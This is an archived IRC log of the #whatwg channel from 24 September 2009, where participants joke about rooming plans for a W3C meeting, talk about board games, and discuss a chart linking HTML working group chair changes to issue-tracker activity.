/irc-logs / freenode / #whatwg / 2009-09-24 / end

Options:

  1. # Session Start: Thu Sep 24 00:00:00 2009
  2. # Session Ident: #whatwg
  3. # [00:00] <TabAtkins> I'm not sure what the problem is with sharing across more than 2 people. Worst case someone sleeps on the floor, if noone wants to share a queen or whatever.
  4. # [00:00] <gsnedders> TabAtkins: The room myself and Shawn had was tiny. You could just about walk around the end of the two twin beds :)
  5. # [00:01] <TabAtkins> ah, twins can't be shared.
  6. # [00:01] <TabAtkins> not without getting a bit too friendly.
  7. # [00:01] * gsnedders facepalms
  8. # [00:01] <Lachy> well, I was in a photo with him. So I definitely did. http://www.flickr.com/photos/hendry/2964510881/ I just don't remember him. :-)
  9. # [00:01] * Joins: drunknbass_work (n=aaron@pool-71-107-253-243.lsanca.dsl-w.verizon.net)
  10. # [00:01] <gsnedders> TabAtkins: I'm under 18! How dare you wreck my innocent ears!
  11. # [00:02] <gsnedders> Oh dear, I look horrific there
  12. # [00:02] <TabAtkins> You're rockin' the fro, whatever.
  13. # [00:02] <Lachy> gsnedders, don't worry. You've looked worse.
  14. # [00:02] <gsnedders> True.
  15. # [00:02] <TabAtkins> Hahaha, that's probably the worst consolation ever.
  16. # [00:03] <gsnedders> (And you haven't even seen one of the photos from my ball where it looks as if I have no eyes)
  17. # [00:03] * TabAtkins facepalms too.
  18. # [00:03] <gsnedders> (or rather, IIRC, no pupils: just white)
  19. # [00:03] <TabAtkins> I just now got why you were facepalming.
  20. # [00:03] <Lachy> gsnedders, I saw one of those on facebook. I saw enough.
  21. # [00:04] <gsnedders> TabAtkins: Wrecking my innocence, I'm telling you!
  22. # [00:04] <gsnedders> Lachy: You didn't see the worst ones, they aren't there :)
  23. # [00:04] <Lachy> haha
  24. # [00:04] <TabAtkins> Unless the uk is a magical land of happy fairies, your ears are far from innocent at that age.
  25. # [00:04] <gsnedders> TabAtkins: Heck, the age of majority in Scotland is 16, and you can be legally married and doing unmentionable things at that age :P
  26. # [00:04] <gsnedders> *do
  27. # [00:05] * Joins: jianli (n=jianli@74.125.59.73)
  28. # [00:05] <TabAtkins> Our age of majority is 18, but you can be married much younger than that (depends on the area).
  29. # [00:05] <gsnedders> (In England, Wales, and NI you have to be 18, unless you have your parents consent, then you can get married at 16)
  30. # [00:05] <Lachy> TabAtkins, that's an interesting idea. The rooms are meant to accommodate up to 4 people, with 2 double beds. I could take an air bed and sleep on the floor.
  31. # [00:06] * Quits: heycam (n=cam@210-84-32-112.dyn.iinet.net.au) ("bye")
  32. # [00:06] <TabAtkins> so, 5 of us in one?
  33. # [00:06] <TabAtkins> that's the sort of math i like to hear.
  34. # [00:06] * Joins: fishd_ (n=darin@nat/google/x-vzwnolmddfycmlia)
  35. # [00:07] <TabAtkins> (though, if arronei says yes, i'll be taken care of anyway)
  36. # [00:07] <TabAtkins> But he's on vacation, so we've probably got time to plan all sorts of sleepover activitiees.
  37. # [00:07] <TabAtkins> i vote pillow fight in undies.
  38. # [00:07] * Joins: weinig (n=weinig@17.246.19.21)
  39. # [00:07] <TabAtkins> then we talk about all the boys we've kissed.
  40. # [00:07] <Lachy> I ain't kissin any boys!
  41. # [00:07] * gsnedders facepalms
  42. # [00:08] <TabAtkins> Missin' out, Lachy.
  43. # [00:08] * TabAtkins is happily married to a woman.
  44. # [00:08] <gsnedders> Pfff. Girls > boys.
  45. # [00:08] <Lachy> TabAtkins, gsnedders will join in.
  46. # [00:08] <Dashiva> gsnedders: Always so self-depreciating
  47. # [00:08] <Hixie> what's wrong with boys
  48. # [00:08] <Hixie> i'm a boy
  49. # [00:08] * Quits: jcarbaugh (n=jcarbaug@enki.sunlightfoundation.com)
  50. # [00:09] <gsnedders> Hixie: You're immature and annoying.
  51. # [00:09] <Hixie> well, true
  52. # [00:09] <Dashiva> Also, cooties
  53. # [00:09] <Lachy> Hixie, nothing is wrong with boys. There's just something wrong with a straight guy kissing other boys.
  54. # [00:09] <gsnedders> Dashiva: Only if I am a boy :P
  55. # [00:09] <gsnedders> Lachy: Well, believe in innate bisexuality and then all your problems are solved :P
  56. # [00:09] <Dashiva> gsnedders: That seems a rather safe bet
  57. # [00:10] <Hixie> gsnedders: i don't think people really get to chose their sexuality
  58. # [00:10] <gsnedders> Hixie: Nor do I.
  59. # [00:12] <gsnedders> (Really, do you take everything I say seriously?)
  60. # [00:12] <Hixie> yes
  61. # [00:12] <gsnedders> Hixie: Naïve.
  62. # [00:12] <Hixie> i also take everything Philip` says seriously
  63. # [00:12] <Dashiva> I think people who kiss boys are self-selecting anyhow
  64. # [00:13] <TabAtkins> ?_?
  65. # [00:13] * Quits: weinig (n=weinig@17.246.19.21) (Remote closed the connection)
  66. # [00:13] <TabAtkins> The only people who kiss boys are the ones that want to kiss boys?
  67. # [00:13] <gsnedders> Hixie: Well, then, I'm an incredibly innocent homophobic fundamentalist Christian.
  68. # [00:13] * Joins: weinig (n=weinig@17.203.15.140)
  69. # [00:14] <Hixie> gsnedders: i know
  70. # [00:14] <Dashiva> You can't hide things from Hixie
  71. # [00:14] <gsnedders> Wait, what? He knows about last night? Shit.
  72. # [00:15] <Dashiva> gsnedders: You're a fundamentalist Christian, what's one more omniscient Big Brother?
  73. # [00:15] <Lachy> woah, tell us about last night?
  74. # [00:16] <Lachy> don't worry, it'll just be between us ;-)
  75. # [00:16] <gsnedders> You take what I say seriously? ;)
  76. # [00:16] * Joins: dpranke (n=Adium@nat/google/x-onpbydsdlkrlehyg)
  77. # [00:16] * Joins: Rik` (n=Rik`@pha75-2-81-57-187-57.fbx.proxad.net)
  78. # [00:17] <gsnedders> Lachy: I finished "The Great Gatsby".
  79. # [00:17] <Dashiva> gsnedders: Also, enjoy your eternal damnation for saying "shit"
  80. # [00:17] <Lachy> well done.
  81. # [00:17] <gsnedders> Dashiva: dammit.
  82. # [00:17] <Lachy> Dashiva, eternal damnation only comes from blasphemy
  83. # [00:18] <gsnedders> All I said was this Halibut is good enough for Jehovah!
  84. # [00:18] <TabAtkins> Also: doubting Jesus in your heart
  85. # [00:18] <Dashiva> What is it then? Really long but not quite eternal damnation?
  86. # [00:19] * Quits: hobertoAtWork (n=hobertoa@gw1.mcgraw-hill.com) ("Nettalk6 - www.ntalk.de")
  87. # [00:19] <Lachy> personally, I'm looking forward to my eternal damnation. The brochure makes it sound exciting.
  88. # [00:19] <TabAtkins> http://dresdencodak.com/2005/11/29/secular-heaven/
  89. # [00:21] <Lachy> heh
  90. # [00:30] <TabAtkins> should I attend the wednesday plenary? and the wednesday plenary reception?
  91. # [00:30] <Hixie> if you'll be in the area anyway you might as well
  92. # [00:31] <TabAtkins> kk
  93. # [00:31] <Hixie> insofar as teh whole thing is a waste of time, the plenary is no more of a waste of time than the meeting itself
  94. # [00:31] <Hixie> but i'm sure you'll enjoy it if it's your first one :-)
  95. # [00:32] <Hixie> i'm just jaded after years of going to these and seeing no significant progress made each time
  96. # [00:32] <TabAtkins> cool
  97. # [00:32] <Hixie> (compared to the amount of progress an average week brings in the whatwg, i mean)
  98. # [00:32] <othermaciej> you should go, it's a good way to meet people
  99. # [00:33] <TabAtkins> I'm sad that "omnivore" and "vegetarian" are represented in the meal choices, but not ovo-lacto-carnivore.
  100. # [00:33] <Hixie> yeah that really is the main benefit
  101. # [00:33] <tantek> Hixie - that's a little harsh, you and I have both been in working group meetings at plenaries that have made good progress.
  102. # [00:33] <Hixie> tantek: html5 makes more progress by e-mail every week than the csswg has done since 2004.
  103. # [00:33] <tantek> plus, don't forget the "your test suite isn't wearing any clothes" panel we were both on :)
  104. # [00:33] <Lachy> the social aspect is one of the major advantages of events like TPAC, since it makes working with others much easier if you know them personally in some way
  105. # [00:34] <Hixie> tantek: yeah, and look how much help that was
  106. # [00:34] <Hixie> Lachy: indeed
  107. # [00:34] <Hixie> i just wish we made these things really about the social aspect rather than pretend they were productive
  108. # [00:34] <Hixie> we should all go white water rafting or something
  109. # [00:34] <tantek> Hixie, wait, you mean all subsequent test suites weren't 100% valid and based on clear conformance criteria in the specs via explicit links?
  110. # [00:34] <Lachy> yeah, I'm up for that!
  111. # [00:35] <Lachy> is there a place to do that nearby?
  112. # [00:35] <Hixie> tantek: the subsequent test suites have been as crap as they were before
  113. # [00:35] <Hixie> Lachy: dunno :-)
  114. # [00:35] <Lachy> well, I'm sure we could do something fun on Saturday.
  115. # [00:36] <Hixie> anyone up for a game of Twilight Imperium III?
  116. # [00:36] <Hixie> or BSG the board game?
  117. # [00:36] * tantek would be up for some late night Settlers of Catan.
  118. # [00:36] <TabAtkins> I'm in for anything boardgamey.
  119. # [00:36] <Lachy> maybe. Never played it before, but we could do that one evening
  120. # [00:36] <TabAtkins> I am sorely starved for board games.
  121. # [00:37] <TabAtkins> especially delicious eurogames.
  122. # [00:37] <Lachy> I'm looking forward to playing Werewolf again
  123. # [00:37] <TabAtkins> Anyone got Steve Zilles's email?
  124. # [00:37] * Joins: annodomini (n=lambda@64.30.3.122)
  125. # [00:37] * gsnedders wants to be there, now.
  126. # [00:37] * gsnedders grumps
  127. # [00:37] <beowulf> catan++
  128. # [00:38] <Hixie> people still play settlers?
  129. # [00:38] <Hixie> wow
  130. # [00:38] <TabAtkins> Some of us have never played it, geez.
  131. # [00:38] * TabAtkins has dumb friends.
  132. # [00:38] <Lachy> I've played it once
  133. # [00:38] <tantek> Hixie - it continues to get new users, just like HTML :)
  134. # [00:38] <Hixie> TabAtkins: you're not missing much :-P
  135. # [00:38] <Hixie> it's like the new Monopoly
  136. # [00:39] <beowulf> monopoly++
  137. # [00:39] <Hixie> played by the people who don't know board games :-)
  138. # [00:39] <TabAtkins> Monopoly--
  139. # [00:39] <TabAtkins> >_<
  140. # [00:39] * Quits: tantek (n=tantek@70.36.139.108)
  141. # [00:39] <Hixie> monopoly is basically a less elaborate version of Killer Bunnies
  142. # [00:40] * Joins: weinig_ (n=weinig@17.246.19.21)
  143. # [00:40] * Quits: weinig_ (n=weinig@17.246.19.21) (Remote closed the connection)
  144. # [00:40] * Quits: weinig (n=weinig@17.203.15.140) (Read error: 104 (Connection reset by peer))
  145. # [00:40] * gsnedders heads off to sleep
  146. # [00:40] * Joins: weinig (n=weinig@17.203.15.140)
  147. # [00:41] <gsnedders> (and probably read a bit more Edgar Allan Poe)
  148. # [00:41] <TabAtkins> So, Zilles.
  149. # [00:41] <erlehmann> TabAtkins, i would like to see a Wesnoth board game.
  150. # [00:41] <TabAtkins> erlehmann: Omg that would be nice
  151. # [00:42] * aroben is now known as aroben|afk
  152. # [00:42] <beowulf> i think my board game credentials were insulted somewhere there
  153. # [00:42] <Hixie> :-)
  154. # [00:42] <Hixie> is there a list anywhere of when the htmlwg chairmanships changed?
  155. # [00:42] <TabAtkins> The htmlwg list, presumably.
  156. # [00:43] * Quits: KevinMarks (n=KevinMar@157.22.22.46) (Read error: 110 (Connection timed out))
  157. # [00:43] * Joins: doublec (n=doublec@203-97-204-82.dsl.clear.net.nz)
  158. # [00:43] * Parts: blooberry (n=brian@c-98-246-9-57.hsd1.or.comcast.net)
  159. # [00:45] * Quits: annodomini (n=lambda@wikipedia/lambda)
  160. # [00:45] * aroben|afk is now known as aroben
  161. # [00:54] * Quits: benward (n=benward@nat/yahoo/x-vintnrfgcfgpyqgt) ("Sleep")
  162. # [00:55] * Dashiva is trying to copy (clone) a DOM node into a MSXML document... and failing
  163. # [00:56] * Joins: tantek (n=tantek@67.180.202.79)
  164. # [00:57] <Hixie> http://damowmow.com/playground/htmlwg/chart.html
  165. # [00:57] <Hixie> the three changes of chairs line up almost perfect to the three periods of volatility
  166. # [00:58] <Hixie> (i used the dates of the announcements; mike and maciej actually started taking chair responsibilities a few weeks before they were appointed
  167. # [00:58] <Hixie> which i guess is why their periods of volatility happen shortly before the line for their announcement)
  168. # [00:59] <Hixie> my conclusion: to make progress, we'll have to change chairs every few weeks
  169. # [00:59] * Quits: ivan` (n=ivan@unaffiliated/ivan/x-000001) ("Coyote finally caught me")
  170. # [00:59] * Joins: ivan` (n=ivan@ludios.net)
  171. # [01:00] <TabAtkins> Makes sense to me.
  172. # [01:00] <Philip`> Musical chairs!
  173. # [01:01] <TabAtkins> Now if only we can get them to *actually* sing.
  174. # [01:02] * aroben is now known as aroben|meeting
  175. # [01:04] * Quits: erlehmann (n=erlehman@tmo-104-233.customers.d1-online.com) ("Ex-Chat")
  176. # [01:05] <othermaciej> I intend to cause more issues to be closed
  177. # [01:05] <othermaciej> we'll see if it works
  178. # [01:06] * Joins: heycam (n=cam@clm-laptop.infotech.monash.edu.au)
  179. # [01:08] * Joins: tkent (n=tkent@220.109.219.244)
  180. # [01:09] * Quits: tantek (n=tantek@67.180.202.79)
  181. # [01:13] * Joins: tantek (n=tantek@67.180.202.79)
  182. # [01:15] <TabAtkins> All right, I'm out for the night. Time to go home where we're currently suffering from Day 12 of no internet.
  183. # [01:15] * Quits: TabAtkins (n=chatzill@adsl-76-195-204-109.dsl.hstntx.sbcglobal.net) ("ChatZilla 0.9.85 [Firefox 3.5.3/20090824101458]")
  184. # [01:15] <tantek> the changing of chairs appears to be more periodic than anything else, occurring every 7-8 months.
  185. # [01:16] <Philip`> Have there been more chair changes than there have been spec publications?
  186. # [01:18] * Quits: jianli (n=jianli@74.125.59.73) (Read error: 110 (Connection timed out))
  187. # [01:22] * Quits: fishd_ (n=darin@nat/google/x-vzwnolmddfycmlia) (Read error: 110 (Connection timed out))
  188. # [01:22] * Joins: ThunderSchunked (n=Vincent@cpe-67-240-10-180.nycap.res.rr.com)
  189. # [01:25] * Joins: jacobolus (n=jacobolu@65.112.9.143)
  190. # [01:33] * Joins: SamerZ (n=SamerZ@CPE00222d5410b8-CM00222d5410b5.cpe.net.cable.rogers.com)
  191. # [01:36] * Quits: aroben|meeting (n=aroben@unaffiliated/aroben) (Read error: 104 (Connection reset by peer))
  192. # [01:39] * Joins: miketaylr (n=miketayl@user-0cdf5gs.cable.mindspring.com)
  193. # [01:42] * Quits: jacobolus (n=jacobolu@65.112.9.143) (Remote closed the connection)
  194. # [01:44] * Quits: dglazkov (n=dglazkov@nat/google/x-rtriajwxeunbqpgj)
  195. # [01:48] <othermaciej> Philip`: I would guess no, because we published 3 drafts initially and at least one of those has been republished
  196. # [01:49] * Quits: miketaylr (n=miketayl@user-0cdf5gs.cable.mindspring.com)
  197. # [01:50] * Quits: SamerZ (n=SamerZ@CPE00222d5410b8-CM00222d5410b5.cpe.net.cable.rogers.com)
  198. # [01:54] * Joins: miketaylr (n=miketayl@user-0cdf5gs.cable.mindspring.com)
  199. # [01:55] * Joins: SamerZ (n=SamerZ@CPE00222d5410b8-CM00222d5410b5.cpe.net.cable.rogers.com)
  200. # [01:56] * Quits: SamerZ (n=SamerZ@CPE00222d5410b8-CM00222d5410b5.cpe.net.cable.rogers.com) (Client Quit)
  201. # [01:56] * Joins: sicking_ (n=chatzill@32.153.150.233)
  202. # [01:57] * Joins: jacobolus (n=jacobolu@65.112.9.143)
  203. # [02:04] * Quits: othermaciej (n=mjs@c-69-181-42-237.hsd1.ca.comcast.net)
  204. # [02:05] * Quits: sicking (n=chatzill@nat/mozilla/x-fwpfvibqgmlguvkq) (Read error: 110 (Connection timed out))
  205. # [02:05] * Parts: ThunderSchunked (n=Vincent@cpe-67-240-10-180.nycap.res.rr.com)
  206. # [02:06] * Joins: MikeSmith (n=MikeSmit@EM114-48-52-9.pool.e-mobile.ne.jp)
  207. # [02:08] * Joins: SamerZ (n=SamerZ@CPE00222d5410b8-CM00222d5410b5.cpe.net.cable.rogers.com)
  208. # [02:10] * Joins: othermaciej (n=mjs@c-69-181-42-237.hsd1.ca.comcast.net)
  209. # [02:12] * Quits: mitnavn (n=mitnavn@unaffiliated/mitnavn) (Read error: 104 (Connection reset by peer))
  210. # [02:13] * Joins: sicking (n=chatzill@32.155.152.91)
  211. # [02:20] * Quits: JonathanNeal (n=Jonathan@rrcs-76-79-114-216.west.biz.rr.com) (Read error: 104 (Connection reset by peer))
  212. # [02:20] * Joins: w3bg33k (n=web@209.23.97.78)
  213. # [02:21] * Joins: mitnavn (n=mitnavn@unaffiliated/mitnavn)
  214. # [02:21] * Quits: mitnavn (n=mitnavn@unaffiliated/mitnavn) (Remote closed the connection)
  215. # [02:21] * Quits: cying (n=cying@70.90.171.153)
  216. # [02:22] * Joins: dglazkov (n=dglazkov@c-67-188-0-62.hsd1.ca.comcast.net)
  217. # [02:24] * Quits: yutak_home (n=kee@M006079.ppp.dion.ne.jp) ("Ex-Chat")
  218. # [02:27] * Joins: sicking__ (n=chatzill@32.155.238.103)
  219. # [02:28] * Joins: mitnavn (n=mitnavn@unaffiliated/mitnavn)
  220. # [02:29] * Quits: SamerZ (n=SamerZ@CPE00222d5410b8-CM00222d5410b5.cpe.net.cable.rogers.com)
  221. # [02:31] * Quits: sicking_ (n=chatzill@32.153.150.233) (Read error: 110 (Connection timed out))
  222. # [02:31] * Joins: dave_levin_ (n=dave_lev@72.14.224.1)
  223. # [02:33] * Quits: mitnavn (n=mitnavn@unaffiliated/mitnavn) (Remote closed the connection)
  224. # [02:33] * Quits: dave_levin (n=dave_lev@74.125.59.65)
  225. # [02:33] * dave_levin_ is now known as dave_levin
  226. # [02:34] * Joins: jwalden (n=waldo@nat/mozilla/x-faxvtbxactkfbmrw)
  227. # [02:37] * Quits: onar_ (n=onar@17.226.23.126) (Read error: 60 (Operation timed out))
  228. # [02:37] * Joins: blooberry (n=brian@c-98-246-9-57.hsd1.or.comcast.net)
  229. # [02:39] * Quits: jacobolus (n=jacobolu@65.112.9.143) (Remote closed the connection)
  230. # [02:40] * Joins: onar_ (n=onar@17.244.69.10)
  231. # [02:41] * Quits: murr4y (n=murray@85.84-49-67.nextgentel.com) (Read error: 54 (Connection reset by peer))
  232. # [02:41] * Joins: murr4y (n=murray@85.84-49-67.nextgentel.com)
  233. # [02:42] * Joins: wakaba_ (n=wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp)
  234. # [02:45] * Quits: sicking (n=chatzill@32.155.152.91) (Read error: 110 (Connection timed out))
  235. # [02:46] * Joins: murr4y` (n=murray@85.84-49-67.nextgentel.com)
  236. # [02:47] * Quits: onar_ (n=onar@17.244.69.10)
  237. # [02:48] * Joins: mitnavn (n=mitnavn@unaffiliated/mitnavn)
  238. # [02:51] * Joins: annodomini (n=lambda@c-75-69-96-104.hsd1.nh.comcast.net)
  239. # [02:54] * Quits: dglazkov (n=dglazkov@c-67-188-0-62.hsd1.ca.comcast.net)
  240. # [02:58] * Quits: murr4y (n=murray@85.84-49-67.nextgentel.com) (Read error: 110 (Connection timed out))
  241. # [03:04] * Joins: SuperDot_iPod (n=superdot@66.240.27.50)
  242. # [03:05] * Quits: SuperDot_iPod (n=superdot@66.240.27.50) (Client Quit)
  243. # [03:07] * Quits: MikeSmith (n=MikeSmit@EM114-48-52-9.pool.e-mobile.ne.jp) (Read error: 110 (Connection timed out))
  244. # [03:11] * Joins: dglazkov (n=dglazkov@c-67-188-0-62.hsd1.ca.comcast.net)
  245. # [03:13] * Quits: ap (n=ap@17.246.19.174)
  246. # [03:25] * Quits: dglazkov (n=dglazkov@c-67-188-0-62.hsd1.ca.comcast.net)
  247. # [03:26] * Joins: nessy (n=nessy@115.128.0.235)
  248. # [03:28] * Joins: lazni (n=lazni@118.71.168.108)
  249. # [03:32] * Joins: takoratta (n=takoratt@220.109.219.244)
  250. # [03:34] * Quits: takoratta (n=takoratt@220.109.219.244) (Client Quit)
  251. # [03:41] * Quits: tantek (n=tantek@67.180.202.79) (Read error: 110 (Connection timed out))
  252. # [03:46] * Quits: jwalden (n=waldo@nat/mozilla/x-faxvtbxactkfbmrw) ("maybe on later, out to dinner with family now")
  253. # [03:56] * Quits: nessy (n=nessy@115.128.0.235) ("This computer has gone to sleep")
  254. # [04:01] * Quits: GPHemsley (n=GPHemsle@pdpc/supporter/student/GPHemsley) ("This computer has gone to sleep")
  255. # [04:04] * Joins: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp)
  256. # [04:06] * Joins: jacobolus (n=jacobolu@dhcp-0000076942-cf-54.client.fas.harvard.edu)
  257. # [04:11] * Quits: jacobolus (n=jacobolu@dhcp-0000076942-cf-54.client.fas.harvard.edu) (Remote closed the connection)
  258. # [04:14] * Quits: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp) ("Tomorrow to fresh woods, and pastures new.")
  259. # [04:14] * Joins: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp)
  260. # [04:15] * Quits: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp) (Client Quit)
  261. # [04:16] * Joins: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp)
  262. # [04:17] * Joins: murr4y (n=murray@85.84-49-67.nextgentel.com)
  263. # [04:18] * Joins: jacobolus (n=jacobolu@dhcp-0059871802-99-6d.client.student.harvard.edu)
  264. # [04:20] * Quits: paul_irish (n=paul_iri@12.33.239.250) (Remote closed the connection)
  265. # [04:21] * Quits: yutak (n=yutak@220.109.219.244) ("Leaving")
  266. # [04:24] * Joins: wakaba_0 (n=wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp)
  267. # [04:26] * Quits: dpranke (n=Adium@nat/google/x-onpbydsdlkrlehyg) ("Leaving.")
  268. # [04:29] * Quits: murr4y` (n=murray@85.84-49-67.nextgentel.com) (Read error: 110 (Connection timed out))
  269. # [04:35] * Quits: weinig (n=weinig@17.203.15.140)
  270. # [04:36] * Quits: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp) ("Tomorrow to fresh woods, and pastures new.")
  271. # [04:39] * Joins: dglazkov (n=dglazkov@c-67-188-0-62.hsd1.ca.comcast.net)
  272. # [04:41] * Quits: drunknbass_work (n=aaron@pool-71-107-253-243.lsanca.dsl-w.verizon.net) ("Leaving...")
  273. # [04:42] * Joins: yutak (n=yutak@220.109.219.244)
  274. # [04:43] * Quits: wakaba_ (n=wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp) (Read error: 110 (Connection timed out))
  275. # [04:58] * Quits: gavin_ (n=gavin@firefox/developer/gavin) (Read error: 110 (Connection timed out))
  276. # [04:58] * Joins: gavin_ (n=gavin@firefox/developer/gavin)
  277. # [04:59] * Joins: weinig (n=weinig@c-67-180-35-124.hsd1.ca.comcast.net)
  278. # [05:04] * Quits: dglazkov (n=dglazkov@c-67-188-0-62.hsd1.ca.comcast.net)
  279. # [05:06] * Joins: dglazkov (n=dglazkov@c-67-188-0-62.hsd1.ca.comcast.net)
  280. # [05:07] * Quits: sicking__ (n=chatzill@32.155.238.103) (Read error: 110 (Connection timed out))
  281. # [05:10] * Quits: heycam (n=cam@clm-laptop.infotech.monash.edu.au) ("bye")
  282. # [05:28] * Joins: tantek (n=tantek@adsl-99-137-128-33.dsl.snfc21.sbcglobal.net)
  283. # [05:33] * Joins: nessy (n=nessy@115.128.10.236)
  284. # [05:34] * Quits: tantek (n=tantek@adsl-99-137-128-33.dsl.snfc21.sbcglobal.net)
  285. # [05:47] * Joins: heycam (n=cam@210-84-32-112.dyn.iinet.net.au)
  286. # [06:03] * Joins: MikeSmith (n=MikeSmit@133.27.228.242)
  287. # [06:03] * Quits: MikeSmith (n=MikeSmit@133.27.228.242) (Client Quit)
  288. # [06:04] * Joins: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp)
  289. # [06:06] * Joins: Super-Dot (n=Super-Do@adsl-75-61-92-172.dsl.pltn13.sbcglobal.net)
  290. # [06:16] * Quits: gavin_ (n=gavin@firefox/developer/gavin) (Read error: 110 (Connection timed out))
  291. # [06:17] * Joins: gavin_ (n=gavin@firefox/developer/gavin)
  292. # [06:24] * Joins: lazni1 (n=lazni@123.24.170.198)
  293. # [06:25] * Joins: fishd_ (n=darin@67.180.164.209)
  294. # [06:25] * Joins: onar_ (n=onar@c-67-180-87-66.hsd1.ca.comcast.net)
  295. # [06:28] * Joins: fishd__ (n=darin@72.14.224.1)
  296. # [06:29] * fishd__ is now known as fishd
  297. # [06:36] * Quits: fishd_ (n=darin@67.180.164.209) (Read error: 145 (Connection timed out))
  298. # [06:36] * Joins: mitnavn_ (n=mitnavn@0x5552b452.adsl.cybercity.dk)
  299. # [06:38] * Quits: jcranmer (n=jcranmer@ltsp2.csl.tjhsst.edu) (Read error: 60 (Operation timed out))
  300. # [06:38] * Joins: tantek (n=tantek@adsl-99-137-128-33.dsl.snfc21.sbcglobal.net)
  301. # [06:38] * Quits: dglazkov (n=dglazkov@c-67-188-0-62.hsd1.ca.comcast.net)
  302. # [06:39] * Quits: onar_ (n=onar@c-67-180-87-66.hsd1.ca.comcast.net)
  303. # [06:40] * Joins: jcranmer (n=jcranmer@ltsp2.csl.tjhsst.edu)
  304. # [06:43] * Quits: lazni (n=lazni@118.71.168.108) (Read error: 110 (Connection timed out))
  305. # [06:43] * Quits: da3d (n=opera@h11n1fls34o986.telia.com) (verne.freenode.net irc.freenode.net)
  306. # [06:43] * Quits: AryehGregor (n=Simetric@mediawiki/simetrical) (verne.freenode.net irc.freenode.net)
  307. # [06:45] * Joins: da3d (n=opera@h11n1fls34o986.telia.com)
  308. # [06:45] * Joins: AryehGregor (n=Simetric@mediawiki/simetrical)
  309. # [06:51] * Quits: weinig (n=weinig@c-67-180-35-124.hsd1.ca.comcast.net)
  310. # [06:52] * Quits: mitnavn (n=mitnavn@unaffiliated/mitnavn) (Read error: 110 (Connection timed out))
  311. # [06:54] * Joins: zdobersek (n=zan@cpe-92-37-73-75.dynamic.amis.net)
  312. # [07:03] * Joins: weinig (n=weinig@c-67-180-35-124.hsd1.ca.comcast.net)
  313. # [07:07] * Quits: jacobolus (n=jacobolu@dhcp-0059871802-99-6d.client.student.harvard.edu) ("Leaving...")
  314. # [07:07] * Quits: tantek (n=tantek@adsl-99-137-128-33.dsl.snfc21.sbcglobal.net)
  315. # [07:09] * Joins: dbaron (n=dbaron@c-98-234-51-190.hsd1.ca.comcast.net)
  316. # [07:14] * Quits: nessy (n=nessy@115.128.10.236) (Read error: 110 (Connection timed out))
  317. # [07:22] * Joins: onar_ (n=onar@c-67-180-87-66.hsd1.ca.comcast.net)
  318. # [07:22] * Quits: virtuelv (n=virtuelv@212.251.175.125) (Read error: 145 (Connection timed out))
  319. # [07:25] * Quits: zdobersek (n=zan@cpe-92-37-73-75.dynamic.amis.net) ("Leaving.")
  320. # [07:29] * Joins: Tristan (i=Tristan@unaffiliated/tristan)
  321. # [07:33] * Quits: annodomini (n=lambda@wikipedia/lambda)
  322. # [07:35] * Quits: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp) ("Tomorrow to fresh woods, and pastures new.")
  323. # [07:38] * Quits: miketaylr (n=miketayl@user-0cdf5gs.cable.mindspring.com)
  324. # [07:39] * slightlyoff is now known as slightlyoff_afk
  325. # [07:40] * Quits: slightlyoff_afk (n=slightly@72.14.229.81)
  326. # [07:42] * Joins: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp)
  327. # [07:43] * Quits: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp) (Client Quit)
  328. # [07:43] * Joins: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp)
  329. # [07:45] * Joins: annodomini (n=lambda@wikipedia/lambda)
  330. # [07:49] * Joins: benward (n=benward@98.210.154.133)
  331. # [08:01] * Quits: doublec (n=doublec@203-97-204-82.dsl.clear.net.nz) ("Leaving")
  332. # [08:04] * Quits: benward (n=benward@98.210.154.133) (Read error: 145 (Connection timed out))
  333. # [08:05] * Quits: annodomini (n=lambda@wikipedia/lambda)
  334. # [08:11] <Tristan> HTML5 is epic
  335. # [08:19] <Hixie> Tristan: glad you like it :-)
  336. # [08:19] <Hixie> othermaciej: what's the plan for PENDING REVIEW?
  337. # [08:19] <Hixie> othermaciej: should i treat that as closed?
  338. # [08:19] <othermaciej> Hixie: let me review the set of PENDING REVIEW issues
  339. # [08:20] <Hixie> just trying to work out if i should make the green lighter on the chart, to reduce the emphasis
  340. # [08:20] <othermaciej> yes, and I'll propose moving all of those to closed
  341. # [08:20] <Hixie> k
  342. # [08:20] <othermaciej> I suppose in theory future "pending review" issues could be less equivalent to CLOSED
  343. # [08:21] <othermaciej> technically we need them all to be CLOSED to get to LC, if we take the "zero open issues" thing seriously
  344. # [08:22] * Quits: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp) ("Tomorrow to fresh woods, and pastures new.")
  345. # [08:22] * Joins: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp)
  346. # [08:23] * Quits: ray (i=ray@drong.notacat.org) (Read error: 54 (Connection reset by peer))
  347. # [08:24] <Hixie> ok updated the chart correspondingly
  348. # [08:24] * Joins: ray (i=ray@drong.notacat.org)
  349. # [08:24] <Hixie> i like how you can tell things change each time the chairs change
  350. # [08:24] <Hixie> e.g. as mike came in, "RAISED" is used for the first time
  351. # [08:25] <Hixie> as you come in, the OPEN count drops like a cliff
  352. # [08:25] <Hixie> and when Sam came in, the open count goes up and down suddenly for a month
  353. # [08:26] <othermaciej> can you remind me of the URL?
  354. # [08:26] <othermaciej> I hope I can get the OPEN count to keep dropping
  355. # [08:26] <Hixie> http://damowmow.com/playground/htmlwg/chart.html
  356. # [08:27] * Quits: Rik` (n=Rik`@pha75-2-81-57-187-57.fbx.proxad.net)
  357. # [08:29] <othermaciej> I don't see that much change in issue state around Sam becoming chair - I guess a little jagginess up and down just after
  358. # [08:29] <Hixie> yeah that's all
  359. # [08:32] * Quits: Super-Dot (n=Super-Do@adsl-75-61-92-172.dsl.pltn13.sbcglobal.net) ("Colloquy more like Coolloquy")
  360. # [08:32] * Joins: erlehmann (n=erlehman@tmo-104-233.customers.d1-online.com)
